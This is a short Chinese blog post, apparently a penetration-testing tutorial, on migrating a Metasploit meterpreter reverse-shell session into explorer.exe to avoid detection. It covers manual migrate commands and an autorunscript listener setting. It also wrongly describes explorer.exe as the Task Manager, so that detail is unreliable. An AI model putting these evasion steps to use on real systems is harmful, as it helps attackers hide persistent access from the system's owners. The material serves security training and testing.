MSF进程迁移

目的

通过msf得到的会话容易被发现,导致后渗透失败。因此我们可以把shell的进程迁移绑定到目标机正常的进程中

操作

  • 手动迁移
  • 自动迁移

手动迁移:
首先反弹一个shell,在meterpreter中执行ps命令查看目标机器的进程。x64_8080.exe是我用msf生成的payload,在目标机器的任务管理器中也可以看到该进程。

我们可以使用migrate这个命令将进程迁移

meterpreter > migrate
Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]

Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.

migrate的参数可以是pid也可以是进程的名称
我们将进程迁移到explorer.exe(任务管理器)中可以执行
migrate 2228或migrate -P 2228(pid根据实际情况而定)
还可以执行migrate -N explorer.exe

在执行ps命令,可以看到之前的x64_8080.exe的进程已经看不到了

自动迁移:
自动迁移指一反弹shell就自动执行进程迁移命令
在配置监听器的时候可以设置

set autorunscript migrate -N explorer.exe
或
set autorunscript -f

第一个是指定迁移到哪个进程,第二个默认迁移到notepad(记事本)

posted @ 2020-03-04 20:26  g0udan  阅读(5053)  评论(0编辑  收藏  举报